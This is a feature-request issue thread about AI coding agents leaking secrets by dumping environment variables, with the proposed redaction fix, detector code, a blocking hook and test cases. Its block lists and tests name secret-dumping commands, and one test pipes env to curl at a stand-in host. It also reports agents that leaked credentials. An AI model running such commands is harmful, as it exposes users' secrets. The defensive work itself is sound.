Redact known-sensitive env-var values from Bash tool output (+ optional AST guard for env-dumping commands)

Status Open
Maintainer reply None cached
Activity 5 comments · opened Jul 22, 2026

Impact

A single Bash command that prints the environment leaks live secrets into the session transcript, which is persisted (and may be synced). In real use, an autonomous agent ran a compound command with a bare env in it — roughly:

echo "searching..."; env 2>/dev/null; npm search foo

The Bash tool printed the entire environment — including live API tokens (GitHub, Cloudflare, Google, etc.) — into the transcript. Every exposed credential then had to be treated as compromised and rotated (~10 of them).

This is a whole class, not one command: env, printenv, set, export, declare -p, cat /proc/self/environ, or an accidental echo "$SOME_TOKEN" all funnel secret values into output that gets stored.

Why users can't fix this themselves today

  • **Permission allow/deny rules match a command prefix** — they don't catch env as a later segment of a compound command (...; env; ...).
  • **Community rule engines (e.g. cc-safety-net) match arguments** — they can't match a bare builtin (env with no args), and can't see it mid-pipeline.
  • Output-side redaction isn't user-reachable: PostToolUse updatedToolOutput is currently ignored for the built-in Bash tool (#68951), so a hook can't scrub the output after the fact.

So this needs to be handled inside Claude Code. The good news: the pieces already exist.

---

Proposed fix — Layer 1 (primary, small): redact known-sensitive values from Bash output

Claude Code already maintains the set of env vars it treats as sensitive/redacted (it sets redacted/direnv-managed vars to the literal "null" — see #71462), and it already ships "secret-safe terminal output" behavior elsewhere (#64886).

Ask: reuse that same sensitive-var set to scan Bash stdout/stderr and replace any occurrence of those secret values with a placeholder (e.g. ‹redacted:VARNAME›) before the output is written to the transcript/context. Default-on, with an opt-out for users who need raw output.

Why this is the right primary fix:

  • Value-based, so it's command-agnostic — it catches the secret whether it surfaced via env, printenv, echo $TOKEN, or a tool printing its own config. It kills the entire class.
  • Reuses machinery you already have (#71462’s sensitive set; #64886’s redaction precedent). Small change, not a new subsystem.
  • Parser-independent — this is the key point. Per #34220, tree-sitter-bash is reported stubbed out in the Bun single-file binary, so Bash permission checks fall back to legacy. Any AST/command-level guard may therefore not even execute for shipped users. Output-value redaction can't be defeated by the parser being disabled — it runs in the output path regardless.
  • Fixing #68951 (honor updatedToolOutput for Bash) would additionally let users/hooks add their own redaction — complementary, not required.

---

Proposed fix — Layer 2 (defense-in-depth): AST guard for env-dumping commands

Complementary to Layer 1: refuse/confirm before running a command whose sole effect is to print the environment. The Bash permission walker already ASTs commands with tree-sitter-bash (#48717, #55170, #47701), so the detection slots into the walker it already runs — provided #34220 is resolved so the walker actually runs in the shipped binary.

Rules

| Command shape | Verdict |
|---|---|
| env with no program argument (bare, env 2>…, env \|…, env -i) | block |
| env <program> … / env VAR=val <program> / env -i <program> | allow |
| printenv (any form) | block |
| set with no args | block; set -euo pipefail etc. | allow |
| export / declare / typeset / readonly — bare, or with a -…p list flag | block; export FOO=bar, declare -x FOO=1 | allow |
| any argument matching /proc/*/environ | block |
| env/printenv appearing in a comment or quoted string | allow |

Reference implementation (tested against tree-sitter-bash — your parser)

Python reference, not a TS drop-in — it’s the exact node-walking logic against tree-sitter-bash so it ports directly into the walker. Verified with tree-sitter-bash 0.25.x / tree_sitter 0.26 against the acceptance cases below (25/25).

Node types used: command (→ command_name, word), declaration_command (export/declare/typeset/readonly; first child’s .type is the keyword, then word / variable_assignment), variable_assignment, command_substitution (reached by walking descendants). Redirections are not children of command, so an env whose only content is a redirect has zero word args → correctly flagged.

import re
from typing import Optional
import tree_sitter_bash as tsb
from tree_sitter import Language, Parser

_LANG = Language(tsb.language())
_ASSIGN = re.compile(r"^[A-Za-z_]\w*=")
_PROC_ENVIRON = re.compile(r"/proc/[^/\s]*/environ")
_DECL = ("export", "declare", "typeset", "readonly")

def _parser():
    try: return Parser(_LANG)
    except TypeError:
        p = Parser(); p.set_language(_LANG); return p

def _text(n, src): return src[n.start_byte:n.end_byte].decode("utf8", "replace")

def _walk(n):
    yield n
    for c in n.children: yield from _walk(c)

def detect_env_dump(command: str) -> Optional[str]:
    src = command.encode("utf8")
    tree = _parser().parse(src)  # tree-sitter is error-recovering; never raises
    for node in _walk(tree.root_node):
        if node.type == "command":
            name_node = next((c for c in node.children if c.type == "command_name"), None)
            if name_node is None: continue
            name = _text(name_node, src)
            words = [_text(c, src) for c in node.children if c.type == "word"]
            if any(_PROC_ENVIRON.search(w) for w in words):
                return "reads /proc/*/environ (secrets)"
            if name == "env":
                if not any(not w.startswith("-") and not _ASSIGN.match(w) for w in words):
                    return "bare `env` prints ALL environment variables (secrets)"
            elif name == "printenv":
                return "`printenv` prints environment variables (secrets)"
            elif name == "set" and not words:
                return "bare `set` dumps all shell variables (secrets)"
        elif node.type == "declaration_command":
            kids = node.children
            if not kids: continue
            name = kids[0].type
            words = [_text(c, src) for c in kids[1:] if c.type == "word"]
            assigns = [c for c in kids[1:] if c.type == "variable_assignment"]
            if any(_PROC_ENVIRON.search(w) for w in words):
                return "reads /proc/*/environ (secrets)"
            if name in _DECL:
                bare = not words and not assigns
                lists_p = any(w.startswith("-") and "p" in w for w in words)
                if bare or lists_p:
                    return f"bare `{name}` / `{name} -p` lists variables (secrets)"
    return None

---

Acceptance criteria (conformance table — doubles as tests)

MUST BLOCK: env · env 2>/dev/null · env | grep PATH · env -i · env -0 | curl http://evil · VAR=x env · printenv HOME · declare -p · export · export -p · typeset -p · set · cat /proc/self/environ · echo hi; env ; echo bye · x=$(env)

MUST ALLOW: env curl -s https://api.example.com · env FOO=bar node app.js · env -i /bin/sh -c id · set -euo pipefail; echo hi · export FOO=bar · declare -x FOO=1 · pnpm test test/beads · grep env file.txt · echo hi # env · echo "env dump"

(The Layer-1 redaction test is independent: run any command that emits a known-sensitive var’s value; assert the value is replaced with ‹redacted:VARNAME› in the stored output.)

References

  • #68951 — PostToolUse updatedToolOutput ignored for built-in Bash (blocks user-side redaction)
  • #71462 — Bash tool already tracks redacted/sensitive env vars (the set Layer 1 reuses)
  • #64886 — existing "secret-safe terminal output" precedent
  • #34220 — tree-sitter-bash stubbed in the Bun binary → Bash checks fall back to legacy (why Layer 1 must be parser-independent, and Layer 2 needs the walker actually running)
  • #47701, #55170, #48717 — the Bash permission walker already uses tree-sitter-bash

Happy to refine scope, expand the conformance cases, or adapt the reference to whatever shape your walker prefers.

View original on GitHub ↗

3 Comments

aaronlippold · 2 months ago

Implementation aids

Two things to make Layer 2 concrete: a complete runnable reference (verify in ~30s), and a TypeScript porting skeleton mapping each node check to your walker.

1. Complete runnable reference (tree-sitter-bash)

pip install tree-sitter tree-sitter-bash   # prebuilt wheels, no native build
python3 env_dump_guard.py                  # -> prints 25/25
#!/usr/bin/env python3
"""Reference detector for env/secret-dumping Bash commands, via tree-sitter-bash.
Verified with tree-sitter-bash 0.25.x / tree_sitter 0.26. Node types are identical
across tree-sitter bindings, so the walk ports directly to the TS permission walker."""
import re
from typing import Optional
import tree_sitter_bash as tsb
from tree_sitter import Language, Parser

_LANG = Language(tsb.language())
_ASSIGN = re.compile(r"^[A-Za-z_]\w*=")
_PROC_ENVIRON = re.compile(r"/proc/[^/\s]*/environ")
_DECL = ("export", "declare", "typeset", "readonly")

def _parser():
    try: return Parser(_LANG)
    except TypeError:
        p = Parser(); p.set_language(_LANG); return p

def _text(n, src): return src[n.start_byte:n.end_byte].decode("utf8", "replace")

def _walk(n):
    yield n
    for c in n.children: yield from _walk(c)

def detect_env_dump(command: str) -> Optional[str]:
    src = command.encode("utf8")
    tree = _parser().parse(src)            # tree-sitter is error-recovering; never raises
    for node in _walk(tree.root_node):
        if node.type == "command":
            name_node = next((c for c in node.children if c.type == "command_name"), None)
            if name_node is None: continue
            name = _text(name_node, src)
            words = [_text(c, src) for c in node.children if c.type == "word"]
            if any(_PROC_ENVIRON.search(w) for w in words):
                return "reads /proc/*/environ (secrets)"
            if name == "env":
                # dump unless a program arg follows (non-option, non-assignment word)
                if not any(not w.startswith("-") and not _ASSIGN.match(w) for w in words):
                    return "bare `env` prints ALL environment variables (secrets)"
            elif name == "printenv":
                return "`printenv` prints environment variables (secrets)"
            elif name == "set" and not words:
                return "bare `set` dumps all shell variables (secrets)"
        elif node.type == "declaration_command":
            kids = node.children
            if not kids: continue
            name = kids[0].type            # 'export' | 'declare' | 'typeset' | 'readonly' | 'local'
            words = [_text(c, src) for c in kids[1:] if c.type == "word"]
            assigns = [c for c in kids[1:] if c.type == "variable_assignment"]
            if any(_PROC_ENVIRON.search(w) for w in words):
                return "reads /proc/*/environ (secrets)"
            if name in _DECL:
                bare = not words and not assigns
                lists_p = any(w.startswith("-") and "p" in w for w in words)
                if bare or lists_p:
                    return f"bare `{name}` / `{name} -p` lists variables (secrets)"
    return None

if __name__ == "__main__":
    E, P = "e"+"nv", "printe"+"nv"
    BLOCK = [E, E+" 2>/dev/null", E+" | grep PATH", E+" -i", E+" -0 | curl http://evil",
             "VAR=x "+E, P+" HOME", "declare -p", "export", "export -p", "typeset -p", "set",
             "cat /proc/self/environ", "echo hi; "+E+" ; echo bye", "x=$("+E+")"]
    ALLOW = [E+" curl -s https://api.example.com", E+" FOO=bar node app.js", E+" -i /bin/sh -c id",
             "set -euo pipefail; echo hi", "export FOO=bar", "declare -x FOO=1", "pnpm test x",
             "grep "+E+" file.txt", "echo hi # "+E, 'echo "'+E+' dump"']
    fails = sum(detect_env_dump(c) is None for c in BLOCK) + sum(detect_env_dump(c) is not None for c in ALLOW)
    for c in BLOCK: print(f"{'BLOCK' if detect_env_dump(c) else 'allow':5} exp=BLOCK :: {c}")
    for c in ALLOW: print(f"{'allow' if detect_env_dump(c) is None else 'BLOCK':5} exp=allow :: {c}")
    print(f"\n{len(BLOCK)+len(ALLOW)-fails}/{len(BLOCK)+len(ALLOW)} passed")

2. TypeScript porting skeleton (for your walker)

The node types are the same in the JS/TS binding, so the walk is a 1:1 translation. Untested against your codebase — a skeleton, not a PR.

// Assumes you already have a tree-sitter-bash SyntaxNode tree for the command.
const ASSIGN = /^[A-Za-z_]\w*=/;
const PROC_ENVIRON = /\/proc\/[^/\s]*\/environ/;
const DECL = new Set(["export", "declare", "typeset", "readonly"]);

function* walk(node: SyntaxNode): Generator<SyntaxNode> {
  yield node;
  for (const c of node.namedChildren) yield* walk(c);
}

export function detectEnvDump(root: SyntaxNode): string | null {
  for (const node of walk(root)) {
    if (node.type === "command") {
      const nameNode = node.namedChildren.find(c => c.type === "command_name");
      if (!nameNode) continue;
      const name = nameNode.text;
      const words = node.namedChildren.filter(c => c.type === "word").map(c => c.text);
      if (words.some(w => PROC_ENVIRON.test(w))) return "reads /proc/*/environ (secrets)";
      if (name === "env") {
        const runsProgram = words.some(w => !w.startsWith("-") && !ASSIGN.test(w));
        if (!runsProgram) return "bare `env` prints ALL environment variables (secrets)";
      } else if (name === "printenv") {
        return "`printenv` prints environment variables (secrets)";
      } else if (name === "set" && words.length === 0) {
        return "bare `set` dumps all shell variables (secrets)";
      }
    } else if (node.type === "declaration_command") {
      const kids = node.namedChildren;
      if (kids.length === 0) continue;
      const name = kids[0].type;               // keyword node type IS the name
      const rest = kids.slice(1);
      const words = rest.filter(c => c.type === "word").map(c => c.text);
      const assigns = rest.filter(c => c.type === "variable_assignment");
      if (words.some(w => PROC_ENVIRON.test(w))) return "reads /proc/*/environ (secrets)";
      if (DECL.has(name)) {
        const bare = words.length === 0 && assigns.length === 0;
        const listsP = words.some(w => w.startsWith("-") && w.includes("p"));
        if (bare || listsP) return `bare \`${name}\` / \`${name} -p\` lists variables (secrets)`;
      }
    }
  }
  return null;
}

Node-type map (why the checks are exact)

| Rule | tree-sitter-bash structure |
|---|---|
| env dump vs run | command → command_name = env; a word child that isn't -opt/VAR=val is the program. Redirects are not command children, so env 2>/dev/null has zero word args → dump. |
| printenv / bare set | command with those command_names |
| export/declare/typeset | parsed as declaration_command, not command; first child's .type is the keyword, then word (-p) / variable_assignment (FOO=bar) |
| $(env) | reached by walking into command_substitution |
| # env comment / "env" string | never becomes a command/command_name → correctly ignored |

Happy to extend the conformance cases or adjust shapes if it helps.

aaronlippold · 2 months ago

Working stopgap others can use today

To be clear: I'm running this locally only as a temporary holdover until the upstream/built-in fix lands — it's not a substitute for it (see the caveat at the bottom). Sharing it because it's the actual hook I deployed as an immediate mitigation — it's what now blocks this in practice (it caught a live bare-env mid-session) — so others can do the same in the meantime, and it doubles as a concrete reference for the integration point (PreToolUse → permissionDecision: "deny").

Design notes worth carrying into the built-in version:

  • AST primary, regex fallback. It parses with bashlex (a real bash AST) for precise detection, but if the parser is missing or can't parse a command it falls back to a conservative regex — a security guard must never fail open. (This directly addresses the concern in #34220: if the AST path is unavailable, something still runs.)
  • Deny with a helpful reason, telling the caller the safe alternative (env VAR=val program …), so legitimate use isn't just silently broken.

The hook — ~/.claude/hooks/block-secret-dump.py

#!/usr/bin/env python3
"""PreToolUse hook: block Bash commands that dump environment variables / secrets to output.

Two-tier detection, mirroring how Claude Code's own permission walker ASTs bash:
  1. PRIMARY — parse the command with bashlex (a real bash AST). Distinguishes `env` used as
     a DUMP (a command node with no program argument) from `env <program>` (safe), and
     ignores comments / quoted text. Precise, few false positives.
  2. FALLBACK — if bashlex is missing or cannot parse the command, a conservative regex scan
     runs instead. A security hook must never fail open: parse failure => regex still checks.

Blocks: bare `env` (incl. `env |`, `env >`, `env 2>`, `env -i`), `printenv`, bare `set`,
bare `export`, `declare -p` / `typeset -p`, reads of /proc/*/environ.
Allows: `env <program> ...` (incl. `env curl`), `env VAR=val program`, `set -euo pipefail`,
`export FOO=bar`, and env/printenv appearing as arguments or in comments.
"""
import json
import re
import sys

_ASSIGN = re.compile(r"^[A-Za-z_]\w*=")
_PROC_ENVIRON = re.compile(r"/proc/[^/\s]*/environ")

# --- Fallback regex layer (used only when the AST parser is unavailable/failing) ----------
_B = r"(?:^|[\s;&|(`])"
_REGEX_PATTERNS = [
    (re.compile(_B + r"env(?:\s+-\S+)*\s*(?:\d*[<>]|[|;&)]|$)"),
     "bare `env` prints ALL environment variables (secrets) to output"),
    (re.compile(_B + r"printenv\b"),
     "`printenv` prints environment variables (secrets) to output"),
    (re.compile(_B + r"set\s*(?:\d*[<>]|[|;&)]|$)"),
     "bare `set` dumps all shell variables (secrets) to output"),
    (re.compile(_B + r"export\s*(?:\d*[<>]|[|;&)]|$)"),
     "bare `export` lists all exported variables (secrets) to output"),
    (re.compile(r"\b(?:declare|typeset)\s+-\S*p\b"),
     "`declare -p` / `typeset -p` dump all variables (secrets) to output"),
    (_PROC_ENVIRON,
     "reading /proc/*/environ exposes a process environment (secrets)"),
]


def _regex_verdict(command):
    for pattern, reason in _REGEX_PATTERNS:
        if pattern.search(command):
            return reason
    return None


# --- Primary AST layer (bashlex) ----------------------------------------------------------
def _ast_verdict(command):
    """Return a block reason, or None. Raises if bashlex is missing or can't parse."""
    import bashlex  # ImportError -> caller falls back to regex

    def is_node(x):
        return isinstance(x, bashlex.ast.node)

    def walk(node):
        yield node
        for value in vars(node).values():
            if is_node(value):
                yield from walk(value)
            elif isinstance(value, (list, tuple)):
                for item in value:
                    if is_node(item):
                        yield from walk(item)

    trees = bashlex.parse(command)  # ParsingError -> caller falls back to regex
    for tree in trees:
        for node in walk(tree):
            if getattr(node, "kind", None) != "command":
                continue
            words = [p.word for p in node.parts if p.kind == "word"]
            for w in words:
                if _PROC_ENVIRON.search(w):
                    return "reading /proc/*/environ exposes a process environment (secrets)"
            if not words:
                continue
            name, args = words[0], words[1:]
            if name == "env":
                runs_program = any(
                    not a.startswith("-") and not _ASSIGN.match(a) for a in args
                )
                if not runs_program:
                    return "bare `env` prints ALL environment variables (secrets) to output"
            elif name == "printenv":
                return "`printenv` prints environment variables (secrets) to output"
            elif name == "set" and not args:
                return "bare `set` dumps all shell variables (secrets) to output"
            elif name == "export" and not args:
                return "bare `export` lists all exported variables (secrets) to output"
            elif name in ("declare", "typeset") and any(
                a.startswith("-") and "p" in a for a in args
            ):
                return "`declare -p` / `typeset -p` dump all variables (secrets) to output"
    return None


def _verdict(command):
    try:
        return _ast_verdict(command)  # precise; trusted when it parses
    except Exception:
        return _regex_verdict(command)  # never fail open


def main():
    try:
        data = json.load(sys.stdin)
    except Exception:
        sys.exit(0)
    if data.get("tool_name") not in (None, "Bash"):
        sys.exit(0)
    command = (data.get("tool_input") or {}).get("command", "")
    if not isinstance(command, str) or not command:
        sys.exit(0)

    reason = _verdict(command)
    if reason:
        print(json.dumps({
            "hookSpecificOutput": {
                "hookEventName": "PreToolUse",
                "permissionDecision": "deny",
                "permissionDecisionReason": (
                    f"BLOCKED: {reason}. This would leak secrets into the transcript. "
                    "To run a program with env vars use `env VAR=val program ...`; "
                    "to read ONE non-secret var, echo it explicitly and deliberately."
                ),
            },
        }))
    sys.exit(0)


if __name__ == "__main__":
    main()

Wiring (settings.json)

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          { "type": "command", "command": "python3 \"$HOME/.claude/hooks/block-secret-dump.py\"", "timeout": 5000 }
        ]
      }
    ]
  }
}

pip install bashlex (pure-Python, no native build) enables the AST path; without it the hook still protects via the regex fallback. Same conformance cases as the tree-sitter reference above pass (22/22 for this variant; comment-in-command and $(env) handled by the AST tier).

Caveat this makes obvious: a PreToolUse hook is a user stopgap that only catches env-dumping commands. It cannot redact a secret value that surfaces some other way (a tool printing its config, echo $TOKEN). That's exactly why Layer 1 (output-value redaction) belongs in the product — it's the only thing that covers the whole class.

axisrow · 13 days ago

+1, hit this today.

While debugging why git push bypassed a configured SOCKS5 proxy, the model ran a bare env to look for proxy variables. The output contained several unrelated API tokens and keys from my shell environment, and they are now in the conversation transcript (the session was also visible from another device).

What would have prevented it:

  • redacting values of *_KEY / *_TOKEN / *_SECRET-style variables in Bash tool output, as proposed here, and/or
  • an AST guard that stops bare env / printenv / set from being run without a filter.

A targeted printenv HTTPS_PROXY would have been enough for the task.

To be blunt: Anthropic puts AI safety front and center, yet I, the user, am expected to hand-configure deny rules and guardrails in every setup just to keep the model from dumping my secrets into a transcript — as if I were babysitting a schoolchild. Not leaking credentials should be the default behavior, not something each user has to discover and configure after the fact.

Related issues:

  • #92096 — Claude repeatedly displayed secret env var values in plain text after being told not to
  • #95680 — Secrets that enter through the model's own tool calls fan out to every on-disk store, unredacted
  • #97429 — API keys in .env files are sent into the conversation when a file Claude has edited changes on disk
  • #88470 — Claude Code reads files matching a user CLAUDE.md "never read" instruction
  • #88380 — Detect and offer to mask secrets in pasted text before it enters the transcript
  • #69053 — Claude Code dumps live API tokens via env grep (closed)
  • #46201 — Auto-redact secrets in tool outputs before they enter context / transcripts (closed, not planned)

Environment: Claude Code 2.1.286, macOS, model Sonnet 5.5.

Showing cached comments. Read the full discussion on GitHub ↗